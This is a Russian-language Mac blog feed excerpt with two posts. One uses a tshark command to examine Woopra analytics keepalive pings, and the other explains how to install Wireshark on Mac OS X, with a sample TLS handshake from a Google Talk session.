sudo tshark -i en1 -R 'http.request.method == "GET"' \
  -T fields -e frame.time -e http.host -e http.request.uri
  • sudo Для захвата трафика требуются права администратора, sudo даёт их, запрашивая пользовательский пароль. Обратите внимание, что пользователь должен иметь права на администрирование компьютера (это выставляется в настройках учётной записи), иначе sudo выдаст сообщение “username is not in the sudoers file. This incident will be reported”.
  • -i en1 Указывается интерфейс, который нужно прослушивать. Обычно en0 – ethernet, en1 – AirPort, но можно уточнить, запустив команду ifconfig. К сожалению мета-интерфейс “any”, позволяющий слушать трафик по всем интерфейсам, под MacOS не срабатывает.
  • -R … Read (display) filter, определяет, что захватывать нужно только трафик, удовлетворяющий критерию.
  • http.request.method == “GET” Критерий отбора – HTTP-запросы GET, стандартные обращения к web-серверам.
  • -T fields Выводить поля из пакетов, перечисленные далее в параметрах “-e”.
  • -e frame.time Время прихода пакета.
  • -e http.host Имя хоста (поле Host: после запроса “GET /uri HTTP/1.1).
  • -e http.request.uri URI.

Название полей можно найти в “Display Filter Reference“, например в описании полей протокола HTTP. Второй вариант – можно захватить трафик в Wireshark, затем выделить интересующее поле, тогда в левой нижней части экрана на статус-баре будет отображено имя поля. Для того, чтобы появилась возможность захвата трафика в Wireshark, самый простой способ – его нужно запустить из Terminal.app командой “sudo wireshark”.

Вернёмся к Woopra. Отсеяв трафик других программ (dropbox, facebook и т.д.), получаем такие такие запросы:

Sep 19, 2009 19:08:19	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=0&ra=1XMYR9XSLF7RF0HND2BDK1QBEH3CZ4LT
Sep 19, 2009 19:08:39	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=0&ra=PVXARGWAEXFQ25WAIEF4VJYEMKX65WBW
Sep 19, 2009 19:08:41	theapplegeek.ru.woopra-ns.com		/ping/cookie=ZO50TUOUOY37S133MNWTOB42QVKN3DE9&ra=IHN8DUX5C8ZAF5S4VV1AOBA4Y8ZDF643
Sep 19, 2009 19:08:50	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=0&ra=C2A88WBRW8S41PZFU9LLYZHTSCGP31C4
Sep 19, 2009 19:08:52	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=0&ra=DF1OD4USZAHPQKWOO65JZTL30LMLDZL4
Sep 19, 2009 19:09:06	theapplegeek.ru.woopra-ns.com		/ping/cookie=ZO50TUOUOY37S133MNWTOB42QVKN3DE9&ra=BPE9FX2TKVLEQUZ01ZXTADRI2WSDJVJ0
Sep 19, 2009 19:09:11	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=0&ra=5ENUMAPTVGCFTYTVYE5BUPJ8RDD5V0RV
Sep 19, 2009 19:09:23	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=0&ra=93RKHH6CEI6EZ42K7O70DHSOM6R90JJD
Sep 19, 2009 19:09:24	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=0&ra=Y16BXDE2TY94LSQD00JY9YOUMBU28FKB
Sep 19, 2009 19:09:31	theapplegeek.ru.woopra-ns.com		/ping/cookie=ZO50TUOUOY37S133MNWTOB42QVKN3DE9&ra=N08KNNMAQGODTJMP6U2M3LBW5HZZA8QZ
Sep 19, 2009 19:09:44	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=0&ra=LDM2WTP08FQAIKXGGAS4OEUQR9I9F9BG
Sep 19, 2009 19:09:55	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=24&ra=QB20A1LXW26Q3D65RCC4O7ZDYGE7LA8N
Sep 19, 2009 19:09:57	theapplegeek.ru.woopra-ns.com		/ping/cookie=ZO50TUOUOY37S133MNWTOB42QVKN3DE9&ra=6YM6J00Q88JJPPYASVS37H7KJSZLDL6L
Sep 19, 2009 19:09:57	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=36&ra=3VFUBJWJ9YYJEKZJ9IKLGKX05V6T4FLF
Sep 19, 2009 19:10:16	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=37&ra=0U415OZXXXU576SV69RZ05KQNEBO2N85
Sep 19, 2009 19:10:22	theapplegeek.ru.woopra-ns.com		/ping/cookie=ZO50TUOUOY37S133MNWTOB42QVKN3DE9&ra=V4O1MR9G6069857YPHMIRVB02SSPVEDZ
Sep 19, 2009 19:10:28	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=57&ra=8L8WI1IPX8JKXUF6JSX9906Z13X0WOB2
Sep 19, 2009 19:10:30	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=68&ra=57QDITV9DPDW8SORHAE27OXBW08PU0W7
Sep 19, 2009 19:10:47	theapplegeek.ru.woopra-ns.com		/ping/cookie=ZO50TUOUOY37S133MNWTOB42QVKN3DE9&ra=0CDQK2WA823UIX2IQID5SR9WVTBOJI7A
Sep 19, 2009 19:10:49	woopra.com.woopra-ns.com	/ping/cookie=DQHSOKCE25U9U37JYSOPC9FXNR3FPOEM&idle=0&ra=U03MO0VLYO3TWJJUE9VZKCW0H59A8J48

Т.е. видим, что при открытии сайта с установленной статистикой Woopra из браузера посетителя идут регулярные обращения на сервера статистики Woopra. Размер каждого пакета 256 байт, в минуту имеем порядка 4-8 запросов или же 1-2 KB трафика. Конечно же, это немного, но если посетитель заходит через дорогой GRPS, то подобные системы статистики могут нагнать достаточно много трафика.

Что же это за обращения? Ответ прост – Woopra отслеживает, находится ли посетитель на сайте, или уже ушёл с него путём регулярной отсылки “keepalive ping”. Именно так реализована функция “With Woopra, you get live track of visitors coming and going and moving through your site”.

Однако нужно признать – Woopra система хорошая и отслеживать посетилей “real-time” иначе невозможно. Детали о реализации функции можно прочитать в блоге Woopra в статье “Long Time Visitors in Woopra Are Not Really “Stuck”, They’re Just Idle“. Каждый владелец сайта сам принимает решение, использовать такую систему, или нет. Но теперь мы благодаря Wireshark знаем об этой особенности Woopra. И, продолжая анализировать сетевую активность, будем знать и о поведении других программ.


]]> http://theapplegeek.ru/archives/463/feed 0 Готовимся анализировать сетевой трафик при помощи Wireshark http://theapplegeek.ru/archives/431 http://theapplegeek.ru/archives/431#comments Fri, 18 Sep 2009 07:02:23 +0000 ctrld http://ctrld.me/?p=431 Одним из полезнейших инструментов для исследования сетевого трафика является Wireshark. Это кроссплатформенная программа, доступная для MacOS X в частности и для Unix в общем, для Windows. Консольную часть я даже видел на сетевом оборудовании под управлением какого-то проприетарного диалекта Unix. Кроссплатформенность – это огромное достоинство, но для MacOS оно же является и недостатком – для запуска GUI требуется X Window (я его ставлю всегда, но некоторым придётся доставать диски с дистрибутивом MacOS X и его доставлять), и интерфейс программы вызывает отнюдь не самые тёплые эмоции (с внешним видом можно смириться, но есть проблемы с копированием, отработкой клавиатурных комбинаций и прочие мелочи, не дающие нормально работать). Поэтому для MacOS (да и для других Unix) я использую консольную часть, в основном это tshark.

Wireshark даёт много возможностей, перечислю их без перевода:

  • Deep inspection of hundreds of protocols, with more being added all the time
  • Live capture and offline analysis
  • Standard three-pane packet browser
  • Multi-platform: Runs on Windows, Linux, OS X, Solaris, FreeBSD, NetBSD, and many others
  • Captured network data can be browsed via a GUI, or via the TTY-mode TShark utility
  • The most powerful display filters in the industry
  • Rich VoIP analysis
  • Read/write many different capture file formats: tcpdump (libpcap), Pcap NG, Catapult DCT2000, Cisco Secure IDS iplog, Microsoft Network Monitor, Network General Sniffer® (compressed and uncompressed), Sniffer® Pro, and NetXray®, Network Instruments Observer, NetScreen snoop, Novell LANalyzer, RADCOM WAN/LAN Analyzer, Shomiti/Finisar Surveyor, Tektronix K12xx, Visual Networks Visual UpTime, WildPackets EtherPeek/TokenPeek/AiroPeek, and many others
  • Capture files compressed with gzip can be decompressed on the fly
  • Live data can be read from Ethernet, IEEE 802.11, PPP/HDLC, ATM, Bluetooth, USB, Token Ring, Frame Relay, FDDI, and others (depending on your platform)
  • Decryption support for many protocols, including IPsec, ISAKMP, Kerberos, SNMPv3, SSL/TLS, WEP, and WPA/WPA2
  • Coloring rules can be applied to the packet list for quick, intuitive analysis
  • Output can be exported to XML, PostScript®, CSV, or plain text

Например, с помощью Wireshark параноики могут убедиться, что Adium при работе с Google Talk по протоколу Jabber не передаёт пароли в открытом виде и для обмена использует шифрование xmpp-tls, а именно TLSv1 TLS_RSA_WITH_RC4_128_SHA:

Jabber XML Messaging



    to='gmail.com'
    xmlns='jabber:client'
    xmlns:stream='http://etherx.jabber.org/streams'
    version='1.0'


        from="gmail.com"
        id="..."
        version="1.0"
        xmlns:stream="http://etherx.jabber.org/streams"
        xmlns="jabber:client"



xmlns="urn:ietf:params:xml:ns:xmpp-tls"



xmlns="urn:ietf:params:xml:ns:xmpp-sasl"

X-GOOGLE-TOKEN





xmlns='urn:ietf:params:xml:ns:xmpp-tls'

xmlns="urn:ietf:params:xml:ns:xmpp-tls"

Secure Socket Layer
Version: TLS 1.0 (0x0301)
Handshake Protocol: Client Hello
    Handshake Type: Client Hello (1)
    Version: TLS 1.0 (0x0301)

Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
    Version: TLS 1.0 (0x0301)
    Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005)
    Compression Method: null (0)

Я планирую написать несколько статей о детальном исследовании трафика, но для начала расскажу, как установить Wireshark (с другой стороны, если Вы добрались до этой фразы, то поставить Wireshark можете без малейшей моей помощи ;-).

Списать установочный образ можно списать с сайта Wireshark. Берём образ “OS X 10.5 (Leopard) Intel.dmg” (40 MB)

Как я сказал выше, нужно обязательно иметь установленную поддержку подсистемы X Window (это XQuartz или же X11.app). Она может уже у вас стоять, но если Wireshark не будет запускаться, то нужно будет поставить X11 с дистрибутива MacOS X.

  1. Перетаскиваем Wireshark в Applications.

  2. Открывем Utility, в нём будут такие файлы:

  3. Перетащить содержимое каталога “Command Line” в $HOME/bin, /usr/local/bin, /usr/sbin или же в другой каталог, который есть в $PATH. Я расположил утилиты в /usr/sbin. Этот каталог недоступен через Finder, в него нужно явно перейти, используя меню Finder “Go/Go to Folder…”.

  4. Для решения вопроса с доступом к устройствам захвата трафика /dev/bpf* перетащить каталог ChmodBPF на алиас StartupItems.

    5. Программа установлена. Это только начало серии. В следующих статьях я приведу примеры захвата и анализа сетевого трафика на Вашем Маке.

    Сайт программы: Wireshark.

    ]]> http://theapplegeek.ru/archives/431/feed 9